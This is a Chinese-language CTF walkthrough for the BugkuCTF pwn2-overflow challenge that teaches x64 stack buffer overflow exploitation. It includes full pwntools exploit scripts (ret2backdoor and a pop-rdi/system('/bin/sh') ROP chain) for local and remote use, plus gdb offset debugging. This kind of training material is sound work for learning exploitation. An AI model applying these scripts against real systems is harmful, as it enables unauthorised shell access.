PWN入门绕不开的一道题就是栈溢出。不夸张地说,理解了栈溢出的利用过程,你才算真正踏进了二进制安全的大门。BugkuCTF的pwn2-overflow就是那种“你迟早会刷到、刷完一定会学到东西”的经典入门题。它不玩花活,没有堆利用、没有格式化字符串,就是干干净净地考你一个点:缓冲区溢出之后,程序的控制流到底怎么被你改到手里的。我见过很多人卡在栈溢出这道坎上,不是看不懂exp,而是不知道每句代码在干什么、偏移量怎么算出来的、为什么本地能打通远程却不行。这篇文章我会用最直接的方式,把整个流程拆开揉碎讲一遍,从信息收集到gdb调试,从本地复现到远程getshell,力求让一个零基础看PWN的读者也能照着做下来。
顺便说一句,现在的CTF平台基本都是动态容器下发,比如Bugku、BUUCTF这一类,你拿到的附件和远程环境可能有细微差别,所以先学会本地分析,再考虑远程打,这才是正确顺序。
1. 拿到题目后,先别急着写payload:基础信息收集
很多新手习惯打开题目就直接去IDA里盯着main函数看,甚至跳过file和checksec直接开始猜偏移。这个习惯不太好,因为利用方式完全取决于防护机制,你不先看防护,后面怎么死都不知道。我在本地复现的时候固定四步:file看文件类型,checksec看防护,strings看敏感字符串,objdump看反汇编。这套流程走完,题目大概什么情况心里就有数了。
1.1 工具准备与运行环境
做PWN题我一般用一台Ubuntu虚拟机,版本20.04或者22.04都行。Windows上也能用WSL2跑,但涉及gdb调试和核心转储的时候,原生的Linux环境会省心很多。需要装的工具其实就几样:gdb、python3、pwntools,再加一个gdb插件,pwndbg或者peda都可以,我个人习惯用pwndbg,因为输出信息更全。
sudo apt update sudo apt install -y vim gdb git python3 python3-pip file binutils pip3 install --upgrade pwntools ROPgadget git clone https://github.com/pwndbg/pwndbg cd pwndbg ./setup.sh装完以后验证一下环境,python3 -c "from pwn import *; print('ok')"不报错就没问题了。pwndbg的setup脚本会自动往~/.gdbinit里写配置,以后启动gdb就能看到彩虹色的界面。
1.2 file、checksec、strings三条命令,先把题目底裤看光
拿到题目附件后,第一步永远是file。这个命令会告诉你目标是什么格式的二进制,多少位的,动态链接还是静态链接。
file pwn2输出一般是ELF 64-bit LSB executable, x86-64,说明这是64位程序。64位和32位在利用上有不少区别,比如参数传递规则不同,栈对齐要求不同,后面会提到。
接下来是重头戏checksec。这个命令不用单独安装,pwntools里带了,直接执行:
checksec --file=pwn2你会看到类似这样的输出:
Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)这几行字直接决定了你后面用什么打法。Stack项是No canary found,说明没有栈金丝雀保护,这基本就是开门迎客;NX enabled说明栈不可执行,所以别想着往栈里塞shellcode然后跳过去执行,老老实实走ROP或者跳转已有函数;PIE关闭说明程序加载基址固定,所有函数地址都是死的,直接写在payload里就行。
最后再用strings扫一眼程序里有哪些字符串:
strings pwn2 | grep -iE 'flag|/bin/sh|system|Input'如果能看到/bin/sh或者flag这种关键词,后面利用就省事很多。如果还有Input:这样的输出提示,那就是你交互时判断接收时机的锚点。
1.3 从反汇编里定位漏洞函数
接下来用objdump看反汇编:
objdump -d -M intel pwn2 | less重点找main函数。pwn2这道题的反汇编很短,一眼能看到main里大致是开了缓冲区,然后用read或者gets读取输入。我见过很多版本的pwn2,代码结构大体差不多:
0000000000401176 <main>: ... 401196: lea rax,[rbp-0x20] 40119a: mov edx,0x60 40119f: mov rsi,rax 4011a2: mov edi,0x0 4011a7: call 401050 <read@plt> ...看到lea rax, [rbp-0x20],说明局部缓冲区离栈底rbp只有0x20字节,而read一次读入0x60字节。读到缓冲区里,但缓冲区只有0x20大小,多出来的0x40字节自然就会一路往上覆盖,直到碰到返回地址。这就是经典的栈溢出点。
2. 栈溢出的核心原理:为什么一次read能让你劫持程序
很多讲栈溢出的文章会直接丢给你一个偏移量40,然后让你抄payload。偏移量怎么来的?为什么是40不是20?不把这个搞明白,换一道题换个缓冲区大小就废了。
2.1 函数栈帧布局复习
x64下,一个函数被调用时,栈上的布局大致是这样,从高地址到低地址:
- 主调函数继续执行要用的返回地址
- 被调函数的old rbp(保存的上一帧栈底)
- 被调函数的局部变量区域
程序在main里执行call read之前,栈顶是read的返回地址,read执行完返回后,会回到main继续执行。而main自己的栈帧里,局部变量buf在rbp-0x20的位置,old rbp在rbp的位置,返回地址在rbp+8的位置。所以从buf首地址开始,要覆盖到返回地址,需要经过:
从 buf 到 rbp:0x20 字节 rbp 本身:8 字节 合计:0x28 = 40 字节这40个字节,前32个填什么无所谓,接着8个字节会把old rbp覆盖掉,再接下来8个字节就是返回地址。你把这8个字节写成你想跳转的地址,函数执行到leave; ret的时候,CPU就会从栈上弹出这个地址,把它赋给rip,程序就跳到你的地盘了。
2.2 溢出点判定与偏移量计算
如果你不想人肉算偏移,有更保险的动态方法:用cyclic生成一段有规律的字符串,发送过去,程序崩溃后看rip寄存器的值,再反查它在模式字符串中的位置,就是偏移量。
pwntools里可以一条龙完成:
from pwn import * io = process('./pwn2') io.recvuntil(b'Input:') io.sendline(cyclic(200)) io.wait() core = io.corefile rip = core.rip print(hex(rip)) print(cyclic_find(rip))如果没有生成corefile,也可以用gdb手动跑:
gdb ./pwn2 run < <(python3 -c 'import sys; sys.stdout.write(cyclic(200))')程序崩溃后,pwndbg界面会直接显示RIP被哪个字符序列覆盖,把那个值取出来,cyclic -l <value>就能得到具体偏移。无论如何,这道题的偏移量都是40,但你自己走一遍这个流程,以后再遇到其他题目就不慌了。
2.3 这道题的“水位线”:到底要写多少字节才够到返回地址
基于1.3里的反汇编,buf在rbp-0x20,返回地址需要偏移40个字节。read读入0x60字节,也就是96字节,足够你放40个填充字节加一个8字节返回地址,甚至还能再塞点ROP链。这就像你往一个水杯里倒水,水位超过杯口之后会顺着杯壁往下流,最后流到哪,取决于你杯子放在哪个架子上。这里的“架子”就是返回地址的位置。
3. 一次完整的本地利用:从构造payload到拿到shell
思路理清楚,写exp就是水到渠成的事。pwn2有多个流传版本,一种是程序里自带后门函数,直接跳过去就能读flag;另一种是只有system和/bin/sh,需要自己用ROP构造调用。我把两种情况都讲一遍,你对照自己的题目选。
3.1 直接跳后门函数:最短payload
用IDA或者objdump浏览函数列表,如果你发现类似get_flag、backdoor、system这种函数,反汇编里还有call system或者直接输出flag的代码,那就太简单了。找到函数首地址,比如0x4011d6,payload只需要这么写:
from pwn import * io = process('./pwn2') io.recvuntil(b'Input:') payload = b'A' * 40 payload += p64(0x4011d6) io.sendline(payload) io.interactive()40个A把缓冲区、old rbp全部填满,紧跟其后的就是返回地址,被改成后门函数的地址。p64()把整数打包成8字节小端序,这是x64下地址写入内存的标准格式。
3.2 没有后门就自己搭:用ROP调system
很多版本的pwn2并没有现成后门,但程序可能调用了system函数,或者你能在plt表里找到system。这种情况下,目标就从“跳转”变成了“调用system("/bin/sh")”。
x64程序函数调用时,第一个参数放在rdi寄存器里。所以你要先把"/bin/sh"字符串的地址放进rdi,然后跳转到system。怎么控制寄存器?用gadget。找一个pop rdi; ret这样的指令片段,它从栈上弹出一个值放进rdi,然后ret跳到栈里下一条地址。
找gadget用ROPgadget:
ROPgadget --binary pwn2 --only 'pop|ret' | grep 'pop rdi'输出类似:
0x4011d6 : pop rdi ; ret再找"/bin/sh"字符串的地址:
from pwn import * elf = ELF('./pwn2') binsh_addr = next(elf.search(b'/bin/sh')) print(hex(binsh_addr))如果二进制里没有这个字符串,也可以试着自己写进内存,但入门阶段一般都有。最终exp:
from pwn import * context.arch = 'amd64' context.log_level = 'debug' elf = ELF('./pwn2') system_addr = elf.plt['system'] binsh_addr = next(elf.search(b'/bin/sh')) pop_rdi = 0x4011d6 # ROPgadget查出来的地址,记得换成你自己题目的 offset = 40 io = process('./pwn2') io.recvuntil(b'Input:') payload = b'A' * offset payload += p64(pop_rdi) payload += p64(binsh_addr) payload += p64(system_addr) io.sendline(payload) io.interactive()payload执行流程是这样的:
- main返回时RIP跳到
pop rdi; ret - 这条指令把栈顶的
binsh_addr弹进rdi,然后ret - ret再把栈顶的
system_addr弹出来,CPU跳到system - system拿到rdi里的字符串地址作为参数,执行
/bin/sh
3.3 栈对齐这件事,新手最容易翻车
本地测试的时候,你可能会遇到一种诡异情况:明明地址全对,参数也对,程序却段错误。这个问题十有八九出在栈对齐上。
System V AMD64 ABI规定,在call指令执行之前,栈必须保持16字节对齐。但我们是直接通过ret跳进system的,并没有执行call指令,所以栈的状态和正常调用不同。某些glibc函数内部用到了movaps这类要求对齐的指令,一旦碰上不对齐的栈,直接SIGSEGV。
解决办法很朴素:在调用system之前多垫一条ret指令,把栈指针额外挪8字节。加一个ret gadget的payload:
ret = 0x40101a # 随便一条ret指令的地址,用ROPgadget也能查到 payload = b'A' * offset payload += p64(ret) # 调整栈对齐 payload += p64(pop_rdi) payload += p64(binsh_addr) payload += p64(system_addr)如果第一次直接打段错误,加上这个ret一般就通了。这算是x64下调用system的经典坑,做pwn题迟早会遇到,提前知道能省不少排查时间。
3.4 完整exp脚本与运行测试
把上面内容汇总成一份完整脚本,方便本地复现:
from pwn import * context.arch = 'amd64' context.log_level = 'info' elf = ELF('./pwn2') system_addr = elf.plt['system'] binsh_addr = next(elf.search(b'/bin/sh')) pop_rdi = 0x4011d6 ret = 0x40101a offset = 40 io = process('./pwn2') io.recvuntil(b'Input:', timeout=5) payload = b'A' * offset payload += p64(ret) payload += p64(pop_rdi) payload += p64(binsh_addr) payload += p64(system_addr) io.sendline(payload) io.sendline(b'cat flag') io.interactive()本地如果能正常回显flag内容,说明利用成功。我实际操作中习惯在拿到shell后再主动执行一条cat flag,因为有些远程环境拿到shell后不会自动帮你输出flag,需要自己敲命令。
4. 动态调试:用gdb看清楚溢出那一下发生了什么
很多新手刷题只满足于exp能跑通,从不打开gdb。但我建议你无论如何都要花十分钟调试一次,亲眼看到RIP被覆盖的过程。只有亲眼看到了,栈溢出的原理才真正长在你脑子里。
4.1 装一个趁手的gdb插件
裸gdb能看,但很不直观。pwndbg或者gef装上以后,每个断点停住时栈上有什么、寄存器里是什么、下一步要执行什么,全都展示得清清楚楚。如果你还没有插件,回到1.1节把pwndbg装上,然后启动:
gdb ./pwn24.2 断在read之后的视角:栈上数据如何排列
在main函数里,read调用结束后的下一条指令处下断点。你先用disassemble main查看偏移,找到read下面那条add rsp, 0x10或者leave指令。比如:
b *main+0x52 r < <(python3 -c 'import sys; sys.stdout.write("A"*40 + "BBBBBBBB")')程序停在断点上,栈顶附近的数据布局可以在pwndbg里用栈窗口直接看到。你会很清楚地看到:偏移0x00到0x1f是A,0x20到0x27被覆盖成了A,0x28到0x2f就是那8个B。而这个位置正好就是main函数的返回地址所在处。这就是为什么要填40个字节:第41到48个字节是返回地址的地盘。
4.3 核心验证:观察RIP被我们控制
把输入换成真正的pwn2利用payload,然后单步到ret指令。pwndbg里输入ni,你会发现CPU跳到了你指定的地址。如果跳的是system,注意看rdi寄存器里面是不是/bin/sh字符串的地址。这里验证一下,比自己盲打脚本成功一百次都有用。
这个调试过程其实不复杂,核心就是验证两件事:偏移对不对,RIP落点对不对。只要这两点确认了,整道题的利用逻辑就已经闭环。
5. 从本地到远程:在BugkuCTF动态容器里getshell
本地打通过,还差最后一步:远程漏洞利用。CTF平台现在已经普遍使用动态容器了,你提交题目后会给你分配一个临时IP和端口,容器有效时间一般有限,比如10分钟到30分钟不等,超时就销毁,需要重新启动。
5.1 远程环境与本地环境的差异
远程环境和你本地的Ubuntu不可能是同一套,最常见的差异是libc版本不同。但幸好pwn2这类入门题,用的是system@plt和二进制里自带的/bin/sh字符串,这些地址不依赖libc,所以远程和本地通吃。如果你的exp里直接用了libc里的system地址,那就必须先把远程的libc搞到手,还要算好函数偏移,那是ret2libc的内容了。
另外,远程容器的文件路径和本地可能不一样,flag文件的位置也不一定在根目录。拿了shell以后先ls和find / -name flag*找一找,不要傻傻只执行一个cat flag。
5.2 远程连接脚本与交互细节
把exp里的process换成remote即可:
from pwn import * context.arch = 'amd64' context.log_level = 'info' elf = ELF('./pwn2') system_addr = elf.plt['system'] binsh_addr = next(elf.search(b'/bin/sh')) pop_rdi = 0x4011d6 ret = 0x40101a offset = 40 io = remote('你的平台IP', 端口) io.recvuntil(b'Input:', timeout=10) payload = b'A' * offset payload += p64(ret) payload += p64(pop_rdi) payload += p64(binsh_addr) payload += p64(system_addr) io.sendline(payload) io.sendline(b'cat flag') io.interactive()唯一要注意的是,有些平台输出可能带有颜色控制符或者额外提示符,recvuntil(b'Input:')收不到就会一直卡住。遇到这种情况,可以先用io.recvall(timeout=2)看看实际输出内容,再决定匹配什么字符串。也可以在pwntools里加context.log_level = 'debug',打开以后收发数据都会打出来,排查交互问题一目了然。
5.3 动态容器使用中的几个坑
第一,容器地址不是你本地程序的地址,每次启动可能变化,exp里记得改。第二,有些平台容器只开放一个端口,所有选手共用,你测试的太频繁可能会被限速。第三,提交flag的时候注意区分大小写和格式,CTF平台一般要求flag{...}完整提交。这几个都是实战里最容易耽误时间的小问题。
6. 常见问题与排查技巧实录
最后这部分是我最想写的。栈溢出入门题翻来覆去就那几个坑,我把日常被问最多的问题汇总成一张速查表,再补充一些调试心得。
6.1 问题速查表
| 现象 | 可能原因 | 排查方向 |
|---|---|---|
| checksec没有输出 | checksec命令没装 | 用pwn checksec --file=pwn2替代 |
| 发送payload后本地段错误 | 栈未对齐 | 在payload里多加一条ret gadget |
| 本地能打通,远程打不通 | system地址依赖libc,或环境不同 | 用plt地址;检查远程程序保护是否和本地一致 |
| 拿不到shell,只是回显乱码 | 返回地址写错,跳进了无效区域 | gdb调试确认RIP落点 |
| 脚本卡在recvuntil | 输出字符串匹配不上 | 打开debug日志看实际输出 |
| 偏移量不确定 | 手算容易漏看栈结构 | 用cyclic动态计算偏移 |
| 发送的地址被截断 | 地址里包含0x0a等特殊字符 | 优先用read类输入,避免gets;必要时用send而非sendline |
| system调用崩溃 | 参数没传对或栈不对齐 | 检查rdi是否指向/bin/sh,检查对齐 |
6.2 偏移量算错时的自我怀疑与排查流程
如果你按40字节写好payload,程序却没按预期跳转,不要急着改数字瞎试。正确的排查方法是回到最原始的一步:用cyclic重新测一次偏移。
流程很简单:
- 生成cyclic(200)
- 发送并等崩溃
- 看RIP的值
cyclic -l <rip值>得到真实偏移- 用真实偏移替换payload里的数字
这个过程耗时不超过两分钟,但很多新手就是跳过了它,靠肉眼猜。PWN调试不怕慢,就怕猜。
6.3 关于Canary和Stack Smashing的延伸讨论
你可能会想:pwn2如果开了canary怎么办?实际上在某些平台或变种题里,确实有开了canary的版本。这类题一般有两条思路:
一条是泄漏canary。如果程序里存在格式化字符串漏洞或者越界读,先把canary值读出来,然后在payload里原样填回去,这样既可以绕过检查,又不影响覆盖返回地址。canary的最后一个字节固定是0x00,这是为了截断字符串读入,泄漏的时候看到??结尾就可以判断位置。
另一条是Stack Smashing思路。程序开启canary后,如果我们在返回前破坏了canary,程序会调用__stack_chk_fail继而打印堆栈信息。某些特定版本的题目里,你可以通过覆盖argv[0]来让错误信息输出可控制的内容,甚至配合GOT表劫持来达到getshell的效果。这类技巧在CTF里属于进阶话题,入门阶段你先会识别“这题开了canary所以简单栈溢出不行”,就已经达到目的了。
6.4 我的一些个人习惯和心得
我做这类入门题的时候,有几个固定习惯。
一是每次拿到题目先checksec,不管这题看起来多简单。这个习惯能在比赛里帮你节省大量时间,因为出题人很可能在一个简单的题目里偷偷开启某个保护,你的旧exp就直接失效了。
二是每道题都留一个做题笔记,记录checksec输出、偏移量、用的gadget地址、libc版本。遇到同类型的题,翻笔记比重新分析快得多。PWN题目花样再多,底层套路就那么多,笔记积累得多了,解题速度自然就上来了。
三是如果exp第一次失败,我绝不会原地打转,而是马上开gdb重新断点、重新验证偏移。调试器是PWN选手最值得信任的朋友,与其在聊天群里问十句,不如自己看一遍寄存器来的踏实。
最后再分享一个小技巧:拿到shell之后,如果发现是/bin/sh,尽量先跑一句echo test看看命令是否有回显,有些环境的输入输出管道有点特殊,直接跑cat可能看不出结果。这道pwn2刷完之后,你可以接着尝试BUUCTF里其他类似的overflow题目,把偏移计算和ROP调用流程练到肌肉记忆。到了那个阶段,栈溢出的地基就算是彻底打牢了。